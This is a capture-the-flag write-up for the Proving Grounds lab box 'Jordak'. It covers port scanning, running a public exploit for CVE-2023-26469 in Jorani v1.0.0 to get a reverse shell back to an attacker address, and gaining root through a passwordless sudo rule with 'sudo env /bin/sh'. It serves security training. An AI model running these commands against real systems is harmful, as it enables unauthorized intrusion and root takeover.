# Jordak Writeup - Proving Grounds

> Intermediate Linux box running Jorani v1.0.0, exploited via the unauthenticated CVE-2023-26469 log-poisoning RCE for a user shell, then escalated to root through a passwordless sudo rule on env.

- **URL:** https://hackindex.io/writeups/jordak
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** lfi, jorani, privilege-escalation, sudo-misconfiguration, gtfobins, cve-2023-26469
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Jordak runs Jorani v1.0.0, a leave-management application vulnerable to CVE-2023-26469, an unauthenticated log-poisoning chain that leads to remote code execution. A public exploit script gives a shell as `jordak`, and a passwordless sudo rule for `/usr/bin/env` is a one-line root escape.

## Reconnaissance

### Nmap

Scan the target for open services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT   STATE SERVICE
# 22/tcp open  ssh
# 80/tcp open  http
```

Only SSH and HTTP. Enumerating the web root turns up a **Jorani v1.0.0** installation at `/jorani`, confirmed by the application footer. Jorani <=1.0.0 is affected by **CVE-2023-26469**, a log-poisoning to LFI-to-RCE chain: application logs are poisoned with PHP code, then the app is triggered to include the poisoned log file.

## Exploitation

### Jorani log poisoning RCE (CVE-2023-26469)

Use the public exploit, which automates poisoning the log and triggering the include.

```bash
git clone https://github.com/samipmainali/Jorani-Reverse-Shell-v1.0.0.git
python3 Jorani_V1.0.0_exploit.py -u http://$TARGET_IP/jorani -i $ATTACKER_IP -p $ATTACKER_PORT
# [+] Poisoning application log
# [+] Triggering log inclusion
# [+] Shell sent to listener
```

With a listener running, the exploit poisons the logs, triggers the include and a reverse shell connects back as `jordak`. Stabilize it.

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
# jordak@jordak:~$
```

## Privilege Escalation

### sudo env (GTFOBins)

Check sudo privileges.

```bash
sudo -l
# User jordak may run the following commands on jordak:
#     (ALL : ALL) ALL
#     (ALL) NOPASSWD: /usr/bin/env
```

A passwordless rule for `/usr/bin/env` is a well-known GTFOBins escape: `env` can execute an arbitrary command, so running it via sudo hands over a root shell immediately.

```bash
sudo env /bin/sh
# # id
# uid=0(root) gid=0(root) groups=0(root)
```

Related

## References

- [CVE-2023-26469](https://nvd.nist.gov/vuln/detail/CVE-2023-26469) - Jorani <=1.0.0 unauthenticated log poisoning to remote code execution.
- [GTFOBins: env](https://gtfobins.github.io/gtfobins/env/) - Abusing a passwordless sudo rule on env for privilege escalation.